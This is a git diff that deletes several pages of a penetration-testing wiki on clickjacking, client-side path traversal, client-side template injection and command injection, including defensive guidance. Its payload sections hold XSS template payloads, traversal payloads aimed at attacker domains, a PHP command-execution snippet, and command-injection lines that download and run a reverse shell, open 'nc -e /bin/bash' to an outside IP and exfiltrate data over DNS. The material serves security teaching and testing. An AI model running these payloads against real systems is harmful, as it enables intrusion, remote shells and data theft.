-For arbitrary colors, a `feFlood` reference (e.g., `#0B57D0`) plus `feBlend mode="difference"` and another arithmetic composite (`k2≈100`, `k4` as tolerance) outputs white only when the sampled pixel matches the target shade. Feeding these masks into `feComposite` with tuned `k1..k4` yields logic gates: `AND` via `k1=1`, `OR` via `k2=k3=1`, `XOR` via `feBlend mode="difference"`, `NOT` via blending against white. Chaining gates makes a full adder inside the filter graph, proving the pipeline is functionally complete.
-
-Attackers can therefore read UI state without JavaScript. Example booleans from a modal workflow:
-
-- **D** (dialog visible): probe a darkened corner and test against white.
-- **L** (dialog loaded): probe the coordinates where the button appears once ready.
-- **C** (checkbox checked): compare the checkbox pixel against the active blue `#0B57D0`.
-- **R** (red success/failure banner): use `feMorphology` and red thresholds inside the banner rectangle.
-
-Each detected state gates a different overlay bitmap embedded via `feImage xlink:href="data:..."`. Masking those bitmaps with `D`, `L`, `C`, `R` keeps the overlays synchronized with the real dialog and walks the victim through multi-step workflows (password resets, approvals, destructive confirmations) without ever exposing the DOM.
-
-### Sandboxed iframe Basic Auth dialog (no allow-popups)
-
-A sandboxed iframe without `allow-popups` can still surface a browser-controlled **HTTP Basic Authentication modal** when a load returns `401` with `WWW-Authenticate`. The dialog is spawned by the browser’s networking/auth layer (not JS `alert/prompt/confirm`), so popup restrictions in the sandbox do **not** suppress it. If you can script the iframe (e.g., `sandbox="allow-scripts"`) you can navigate it to any endpoint issuing a Basic Auth challenge:
-
-```html
-<iframe id="basic" sandbox="allow-scripts"></iframe>
-<script>
-  basic.src = "https://httpbin.org/basic-auth/user/pass"
-</script>
-```
-
-Once the response arrives, the browser prompts for credentials even though popups are disallowed. Framing a trusted origin with this trick enables UI redress/phishing: unexpected modal prompts inside a "sandboxed" widget can confuse users or trigger password managers to offer stored credentials.
-
-### Browser extensions: DOM-based autofill clickjacking
-
-Aside from iframing victim pages, attackers can target browser extension UI elements that are injected into the page. Password managers render autofill dropdowns near focused inputs; by focusing an attacker-controlled field and hiding/occluding the extension’s dropdown (opacity/overlay/top-layer tricks), a coerced user click can select a stored item and fill sensitive data into attacker-controlled inputs. This variant requires no iframe exposure and works entirely via DOM/CSS manipulation.
-
-
-A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where **XSS on the relying-party domain** allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.
-
-- For concrete techniques and PoCs see:
-{{#ref}}
-browser-extension-pentesting-methodology/browext-clickjacking.md
-{{#endref}}
-
-## Strategies to Mitigate Clickjacking
-
-### Client-Side Defenses
-
-Scripts executed on the client side can perform actions to prevent Clickjacking:
-
-- Ensuring the application window is the main or top window.
-- Making all frames visible.
-- Preventing clicks on invisible frames.
-- Detecting and alerting users to potential Clickjacking attempts.
-
-However, these frame-busting scripts may be circumvented:
-
-- **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
-- **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,
-
-```html
-<iframe
-  id="victim_website"
-  src="https://victim-website.com"
-  sandbox="allow-forms allow-scripts"></iframe>
-```
-
-The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
-
-### Server-Side Defenses
-
-#### X-Frame-Options
-
-The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
-
-- `X-Frame-Options: deny` - No domain can frame the content.
-- `X-Frame-Options: sameorigin` - Only the current site can frame the content.
-- `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
-  - Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.
-
-#### Content Security Policy (CSP) frame-ancestors directive
-
-**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
-
-- `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
-- `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
-- `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.
-
-For instance, the following CSP only allows framing from the same domain:
-
-`Content-Security-Policy: frame-ancestors 'self';`
-
-Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
-
-### Content Security Policy (CSP) with `child-src` and `frame-src`
-
-**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
-
-#### `frame-src` Directive
-
-- Defines valid sources for frames.
-- More specific than the `default-src` directive.
-
-```
-Content-Security-Policy: frame-src 'self' https://trusted-website.com;
-```
-
-This policy allows frames from the same origin (self) and https://trusted-website.com.
-
-#### `child-src` Directive
-
-- Introduced in CSP level 2 to set valid sources for web workers and frames.
-- Acts as a fallback for frame-src and worker-src.
-
-```
-Content-Security-Policy: child-src 'self' https://trusted-website.com;
-```
-
-This policy allows frames and workers from the same origin (self) and https://trusted-website.com.
-
-**Usage Notes:**
-
-- Deprecation: child-src is being phased out in favor of frame-src and worker-src.
-- Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
-- Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.
-
-#### JavaScript Frame-Breaking Scripts
-
-Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:
-
-```javascript
-if (top !== self) {
-  top.location = self.location
-}
-```
-
-#### Employing Anti-CSRF Tokens
-
-- **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.
-
-## References
-
-- [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
-- [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
-- [DOM-based Extension Clickjacking (marektoth.com)](https://marektoth.com/blog/dom-based-extension-clickjacking/)
-- [SVG Filters - Clickjacking 2.0](https://lyra.horse/blog/2025/12/svg-clickjacking/)
-- [Iframe sandbox Basic Auth modal](https://phor3nsic.github.io/2026/01/21/trick-iframe-sandbox.html)
-- [Chromestatus: Restrict sandboxed frame dialogs](https://chromestatus.com/feature/4747009953103872)
-- [Chromium issue about sandboxed auth dialogs](https://issues.chromium.org/issues/40266321)
-- [DoubleClickjacking PoC details (evil.blog)](https://www.evil.blog/2024/12/doubleclickjacking-what.html)
-- [Dashlane passkey dialog clickjacking advisory](https://support.dashlane.com/hc/en-us/articles/28598967624722-Security-advisory-Passkey-Dialog-Clickjacking-Issue)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/client-side-path-traversal.md b/src/pentesting-web/client-side-path-traversal.md
deleted file mode 100644
index be6b1daeadb..00000000000
--- a/src/pentesting-web/client-side-path-traversal.md
+++ /dev/null
@@ -1,106 +0,0 @@
-# Client Side Path Traversal
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Information
-
-A client side path traversal occurs when you can **manipulate the path of a URL** that is going to be **sent to a user to visit in a legit way** or that a user is somehow going to be **forced to visit for example via JS or CSS**. CSPT is also known as **On-Site Request Forgery (OSRF)** because it lets you coerce the victim’s browser into hitting arbitrary paths on the same origin with their cookies, JWTs, or mTLS certificates.
-
-Typical sources (data you control):
-
-- Route parameters that get concatenated into `fetch()` or XHR paths (React Router, Next.js dynamic routes, Vue router params, Angular `ActivatedRoute`).
-- Stored values (profile slugs, document IDs) that are interpolated into paths inside background jobs, service workers, or WebSocket URLs.
-- UI gadgets (download/export buttons, image galleries) that append user-controlled fragments or file extensions to API endpoints before the request is dispatched.
-
-Typical sinks (where the traversal lands):
-
-- Frontend API wrappers that prepend `/api/` or `/proxy/` and reuse auth headers automatically.
-- `history.pushState` / `router.navigate` helpers that reconstruct URLs later during hydration.
-- `<link>`/`<style>`/`@import` statements generated by CMS content or feature-flag payloads.
-
-### Common impacts & chains
-
-- **CSPT ➜ CSRF/OSRF**: hijack authenticated `POST/PUT/DELETE` calls by escaping the intended resource path, then re-entering sensitive endpoints (password reset, payment approval, access revocation). Combine with the [CSRF](csrf-cross-site-request-forgery.md) checklist to escalate.
-- **CSPT ➜ cache deception / poisoning**: serve attacker-controlled JSON from public CDN keys and replay it unauthenticated. See [Cache Poisoning and Cache Deception](cache-deception/README.md).
-- **CSPT ➜ Open Redirect ➜ XSS/SSRF**: traversal lands on an open redirect endpoint, which then bounces to attacker infrastructure that serves malicious JS or SSRF payloads. Chain with [Open Redirect](open-redirect.md) abuses.
-
-### Example findings
-
-- In [**this writeup**](https://erasec.be/blog/client-side-path-manipulation/), it was possible to **change the invite URL** so it would end up **canceling a card**.
-- In [**this writeup**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), it was possible to combine a **client side path traversal via CSS** (it was possible to change the path where a CSS resource was loaded from) with an **open redirect** to load the CSS resource from an **attacker controlled domain**.
-- In [**this writeup**](https://blog.doyensec.com/2024/07/02/cspt2csrf.html), it's possible to see a technique on how to abuse CSPT **to perform a CSRF attack**. This is done by **monitoring all the data** that an attacker can control (URL path, parameters, fragment, data injected in the DB...) **and the sinks** this data ends (requests being performed).
-  - Check [**this browser extension**](https://addons.mozilla.org/en-US/firefox/addon/eval-villain/) to monitor that.
-  - Check this [**CSPT playground**](https://github.com/doyensec/CSPTPlayground) to try the technique.
-  - Check [**this tutorial**](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html) on how to use the browser extension in the playground.
-
-## CSPT-assisted web cache poisoning/deception
-
-CSPT can be chained with extension-based CDN caching to exfiltrate sensitive JSON leaked by authenticated API calls:
-
-- A frontend concatenates user-controlled input into an API path and attaches authentication headers in fetch/XHR.
-- By injecting dot-segments (../) you can retarget the authenticated request to a different endpoint on the same origin.
-- If that endpoint (or a path variant with a static-looking suffix like .css) is cached by the CDN without varying on auth headers, the victim’s authenticated response can be stored under a public cache key and retrieved by anyone.
-
-Quick recipe:
-
-1) Find SPA code building API URLs from path parameters while sending auth headers.
-2) Identify sensitive endpoints and test static suffixes (.css, .js, .jpg, .json) to see if the CDN flips to Cache-Control: public/max-age and X-Cache: Hit while returning JSON.
-3) Lure the victim to a URL that injects traversal into the SPA parameter so the authenticated fetch hits the cacheable path variant (for example, ../../../v1/token.css).
-4) Read back the same URL anonymously to obtain the cached secret (token → ATO).
-
-See details and mitigations in the Cache Deception page: [Cache Poisoning and Cache Deception](cache-deception/README.md).
-
-## Hunting workflow & tooling
-
-### Passive discovery with intercepting proxies
-
-- **Correlate sources/sinks automatically**: the [CSPT Burp extension](https://github.com/doyensec/CSPTBurpExtension) parses your proxy history, clusters parameters that are later reflected inside other requests’ paths, and can reissue proof-of-concept URLs with canary tokens to confirm exploitable traversals. After loading the JAR, set the `Source Scope` to client parameters (e.g., `id`, `slug`) and the `Sink Methods` to `GET, POST, DELETE` so the extension highlights dangerous request builders. You can export all suspect sources with an embedded canary to validate them in bulk.
-- **Look for double-URL-decoding**: while browsing with Burp or ZAP, watch for `/api/%252e%252e/` patterns that get normalized by the frontend before hitting the network—these usually show up as base64-encoded JSON bodies referencing route state and are easy to overlook without an automated scanner.
-
-### Instrumenting SPA sinks manually
-
-Dropping a short snippet in DevTools helps surface hidden traversals while you interact with the UI:
-
-```javascript
-(() => {
-  const origFetch = window.fetch;
-  window.fetch = async function (input, init) {
-    if (typeof input === "string" && /\.\.\//.test(input)) {
-      console.log("[CSPT candidate]", input, init?.method || "GET");
-      debugger;
-    }
-    return origFetch.apply(this, arguments);
-  };
-})();
-```
-
-- Add similar wrappers around `XMLHttpRequest.prototype.open`, `history.pushState`, and framework-specific routers (e.g., `next/router`). Watching for `init.credentials === "include"` quickly narrows down requests that carry session cookies.
-- If the app stores routing hints in IndexedDB/localStorage, edit those entries with traversal payloads and reload—the mutated state is often reinjected into requests pre-hydration.
-
-### Lab & payload rehearsal
-
-- Spin up the CSPT Playground via `docker compose up` and practice chaining traversal ➜ CSRF ➜ stored XSS flows without touching the target. Reproducing the target’s router structure locally makes it easier to craft shareable PoCs.
-- Maintain a scratchpad of successful dot-segment variations (`..;/`, `%2e%2e/`, `%2e./%2e/`, UTF-8 homoglyphs) and suffix tricks (`.css`, `.json`, `;` matrix params) you observed during recon so you can replay them quickly when a new sink appears.
-
-## Recent case studies (2025)
-
-- **Grafana OSS CVE-2025-4123/6023 (v11.5.0+)** – A traversal gadget inside `/public/plugins/` let attackers smuggle `../../` into the plugin asset loader, chain it with Grafana’s open redirect, and force victims to load attacker-controlled plugin bundles. When anonymous dashboards were enabled, a crafted URL such as `https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js` resulted in the browser executing remote JavaScript; if the Image Renderer plugin was installed, the same primitive could be flipped into SSRF by redirecting rendering requests toward internal hosts. Always test plugin asset paths, anonymous dashboards, and renderer endpoints together because a single traversal often gives you both XSS and SSRF angles.
-
-## Payload cookbook
-
-| Goal | Payload pattern | Notes |
-| --- | --- | --- |
-| Hit sibling API under same origin | `?doc=../../v1/admin/users` | Works when routers simply concatenate `/${doc}`. Add `.json` if CDN only caches static-looking assets. |
-| Force SPA to follow open redirect | `?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x` | Combine with trusted redirectors listed in target’s codebase. Chain with [Open Redirect](open-redirect.md). |
-| Abuse extension-based CDN cache | `?file=../../v1/token.css` | CDN may treat `.css` as static and cache secrets returned as JSON. |
-| CSRF via verb change | `?action=../../payments/approve/.json&_method=POST` | Some routers accept `_method` overrides; pair with traversal to re-target destructive endpoints. |
-
-## References
-
-- [Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover](https://zere.es/posts/cache-deception-cspt-account-takeover/)
-- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
-- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
-- [Grafana CVE-2025-4123 Chained Path Traversal + Open Redirect Analysis](https://www.cve.news/cve-2025-4123/)
-- [Doyensec CSPT Burp Extension](https://github.com/doyensec/CSPTBurpExtension)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
deleted file mode 100644
index 3e2506c7c14..00000000000
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ /dev/null
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-# Client Side Template Injection (CSTI)
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Summary
-
-It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) but in the **client**. The **SSTI** can allow you to **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim's browser.
-
-**Testing** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter expects **a template** and will execute it. For example, with a payload like `{{ 7-7 }}`, if the app is **vulnerable** you will see a `0`, and if not, you will see the original: `{{ 7-7 }}`
-
-Not every HTML injection into a frontend framework is automatically exploitable as CSTI. The important question is whether the framework will **compile/evaluate attacker-controlled template syntax** or whether you only reached a plain HTML sink. In practice, first confirm the framework, then confirm the **exact sink**.
-
-## Discovery / Fingerprinting
-
-Before trying framework-specific payloads, confirm that your reflection lands inside a part of the DOM that is actually processed by the framework:
-
-- **AngularJS**: look for `ng-app`, `ng-controller`, `ng-bind`, `ng-bind-html`, or a global `window.angular`
-- **Vue**: look for `v-` directives, Vue-controlled DOM roots, or Vue globals/devtools markers
-- **Alpine.js**: look for `x-data`, `x-html`, `x-on`, etc. Even if the target is not directly exploitable via `{{...}}`, these markers tell you that client-side expression evaluation exists nearby
-
-Quick workflow:
-
-1. Confirm reflection with a unique marker
-2. Probe with a simple expression such as `{{7*7}}`
-3. If the expression is evaluated, switch to framework-specific RCE/XSS payloads
-4. If `{{...}}` is not evaluated, look for **directive/event sinks** (`ng-focus`, `v-html`, inline bindings, alternate delimiters, or dynamic template compilation)
-
-OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML.
-
-## AngularJS
-
-AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces.
-
-In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed:
-
-```javascript
-{{$on.constructor('alert(1)')()}}
-{{constructor.constructor('alert(1)')()}}
-<input ng-focus=$event.view.alert('XSS')>
-
-<!-- Google Research - AngularJS -->
-<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
-```
-
-You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
-
-> [!CAUTION]
-> [**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
-
-### Version-aware exploitation
-
-- **AngularJS < 1.6**: exploitation often requires a **sandbox escape**. Simple arithmetic probes such as `{{1+1}}` still help to confirm CSTI, but code-exec payloads are usually more version-specific.
-- **AngularJS >= 1.6**: the expression sandbox was removed, so direct `constructor.constructor(...)` style payloads become far more reliable when the reflection is compiled as an Angular expression.
-- **`ng-csp` / CSP mode**: AngularJS still exposes useful event objects and filters. PortSwigger's CSTI labs and research show that `orderBy` plus an event path can still turn a constrained expression into code execution:
-
-```html
-<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
-```
-
-If the application reflects your input into an **existing AngularJS directive** instead of plain HTML text, prioritize directive-based payloads such as `ng-focus`, `ng-click`, and filter abuse over raw mustache payloads.
-
-## VueJS
-
-You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
-Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)
-
-And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
-
-```html
-<!-- Google Research - Vue.js-->
-"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
-```
-
-A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
-
-In modern Vue targets, distinguish between these two cases:
-
-- **Attacker-controlled template compilation**: the application uses a build that includes the **template compiler** and feeds user-controlled strings into Vue templates
-- **Dangerous HTML / gadget sinks**: the reflection lands in places such as `v-html`, dynamic bindings, or other gadgets that eventually reach JavaScript execution
-
-This distinction matters because the common **runtime-only** Vue builds do **not** compile arbitrary template strings on the client. A plain reflection into inert HTML is not enough by itself.
-
-### **V3**
-
-```
-{{_openBlock.constructor('alert(1)')()}}
-```
-
-Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
-
-### **V2**
-
-```
-{{constructor.constructor('alert(1)')()}}
-```
-
-Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
-
-Other useful Vue 3 gadget variants from PortSwigger research:
-
-```javascript
-{{_createBlock.constructor('alert(1)')()}}
-{{_toDisplayString.constructor('alert(1)')()}}
-{{_createVNode.constructor('alert(1)')()}}
-{{_Vue.h.constructor`alert(1)`()}}
-```
-
-The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present.
-
-**Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
-
-## Mavo
-
-Payload:
-
-```
-[7*7]
-[(1,alert)(1)]
-<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
-[self.alert(1)]
-javascript:alert(1)%252f%252f..%252fcss-images
-[Omglol mod 1 mod self.alert (1) andlol]
-[''=''or self.alert(lol)]
-<a data-mv-if='1 or self.alert(1)'>test</a>
-<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
-<a href=[javascript&':alert(1)']>test</a>
-[self.alert(1)mod1]
-```
-
-**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
-
-Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed.
-
-## Tooling
-
-If the target uses AngularJS heavily, [**ACSTIS / angularjs-csti-scanner**](https://github.com/tijme/angularjs-csti-scanner) can help with **crawling**, **version-aware payload selection**, and optional **payload verification** to reduce false positives.
-
-For manual testing, Burp's current Web Security Academy CSTI labs and XSS cheat sheet remain useful to quickly pivot from a basic `{{1+1}}` confirmation to framework-specific payloads.
-
-## **Brute-Force Detection List**
-
-
-{{#ref}}
-https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
-{{#endref}}
-
-
-
-## References
-
-- [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection)
-- [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md
deleted file mode 100644
index b747bc52e43..00000000000
--- a/src/pentesting-web/command-injection.md
+++ /dev/null
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-# Command Injection
-
-{{#include ../banners/hacktricks-training.md}}
-
-## What is command Injection?
-
-A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.
-
-### Context
-
-Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.
-
-## Command Injection/Execution
-
-```bash
-#Both Unix and Windows supported
-ls||id; ls ||id; ls|| id; ls || id # Execute both
-ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
-ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
-ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
-ls %0A id # %0A Execute both (RECOMMENDED)
-ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)
-
-#Only unix supported
-`ls` # ``
-$(ls) # $()
-ls; id # ; Chain commands
-ls${LS_COLORS:10:1}${IFS}id # Might be useful
-
-#Not executed but may be interesting
-> /var/www/html/out.txt #Try to redirect the output to a file
-< /etc/passwd #Try to send some input to the command
-```
-
-### PHP rule engines with `runkit` enabled
-
-Some applications implement admin-only “rule engines” by **executing attacker-supplied PHP**. If the environment enables the `runkit` extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into **full PHP RCE**.
-
-Indicators:
-
-- Admin UI accepts PHP-like “rules” that are evaluated.
-- `runkit` / `runkit7` is loaded (`phpinfo()` or `extension_loaded('runkit')`).
-
-Abuse example (redefine a function used by the rules to execute a command):
-
-```php
-<?php
-runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
-```
-
-If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.
-
-### **Limition** Bypasses
-
-If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
-
-
-{{#ref}}
-../linux-hardening/linux-basics/bypass-linux-restrictions/
-{{#endref}}
-
-### **Examples**
-
-```
-vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
-vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
-vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
-```
-
-### Bash arithmetic evaluation in RewriteMap/CGI-style scripts
-
-RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.
-
-**Pattern seen in Ivanti EPMM RewriteMap helpers:**
-
-1. Params map to globals (`st` → `gStartTime`, `h` → `theValue`).
-2. Later check:
-   ```bash
-   if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
-       ...
-   fi
-   ```
-3. Send `st=theValue` so `gStartTime` points to the string `theValue`.
-4. Send `h=gPath['sleep 5']` so `theValue` contains an array index; during the arithmetic check it runs `sleep 5` (swap for a real payload).
-
-Probe (~5s delay then 404 if vulnerable):
-
-```bash
-curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
-```
-
-Notes:
-
-- Look for the same helper under other prefixes (e.g., `/mifs/c/aftstore/fob/`).
-- Arithmetic contexts treat unknown tokens as variable/array identifiers, so this bypasses simple metacharacter filters.
-
-### Parameters
-
-Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
-
-```
-?cmd={payload}
-?exec={payload}
-?command={payload}
-?execute{payload}
-?ping={payload}
-?query={payload}
-?jump={payload}
-?code={payload}
-?reg={payload}
-?do={payload}
-?func={payload}
-?arg={payload}
-?option={payload}
-?load={payload}
-?process={payload}
-?step={payload}
-?read={payload}
-?function={payload}
-?req={payload}
-?feature={payload}
-?exe={payload}
-?module={payload}
-?payload={payload}
-?run={payload}
-?print={payload}
-```
-
-### Time based data exfiltration
-
-Extracting data: char by char
-
-```
-swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
-real    0m5.007s
-user    0m0.000s
-sys 0m0.000s
-
-swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
-real    0m0.002s
-user    0m0.000s
-sys 0m0.000s
-```
-
-### DNS based data exfiltration
-
-Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
-
-```
-1. Go to http://dnsbin.zhack.ca/
-2. Execute a simple 'ls'
-for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
-```
-
-```
-$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
-```
-
-Online tools to check for DNS based data exfiltration:
-
-- dnsbin.zhack.ca
-- pingb.in
-
-### Filtering bypass
-
-#### Windows
-
-```
-powershell C:**2\n??e*d.*? # notepad
-@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
-```
-
-#### Linux
-
-
-{{#ref}}
-../linux-hardening/linux-basics/bypass-linux-restrictions/
-{{#endref}}
-
-### Node.js `child_process.exec` vs `execFile`
-
-When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.
-
-```javascript
-// Vulnerable: user-controlled variables interpolated inside a template string
-const { exec } = require('child_process');
-exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
-  /* … */
-});
-```
-
-`exec()` spawns a **shell** (`/bin/sh -c`), therefore any character that has a special meaning to the shell (back-ticks, `;`, `&&`, `|`, `$()`, …) will result in **command injection** when user input is concatenated in the string.
-
-**Mitigation:**  use `execFile()` (or `spawn()` without the `shell` option) and provide **each argument as a separate array element** so no shell is involved:
-
-```javascript
-const { execFile } = require('child_process');
-execFile('/usr/bin/do-something', [
-  '--id_user', id_user,
-  '--payload', JSON.stringify(payload)
-]);
-```
-
-Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
-
-### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
-
-Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
-
-Typical places where this appears:
-
-- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
-- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
-
-What to try:
-
-- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
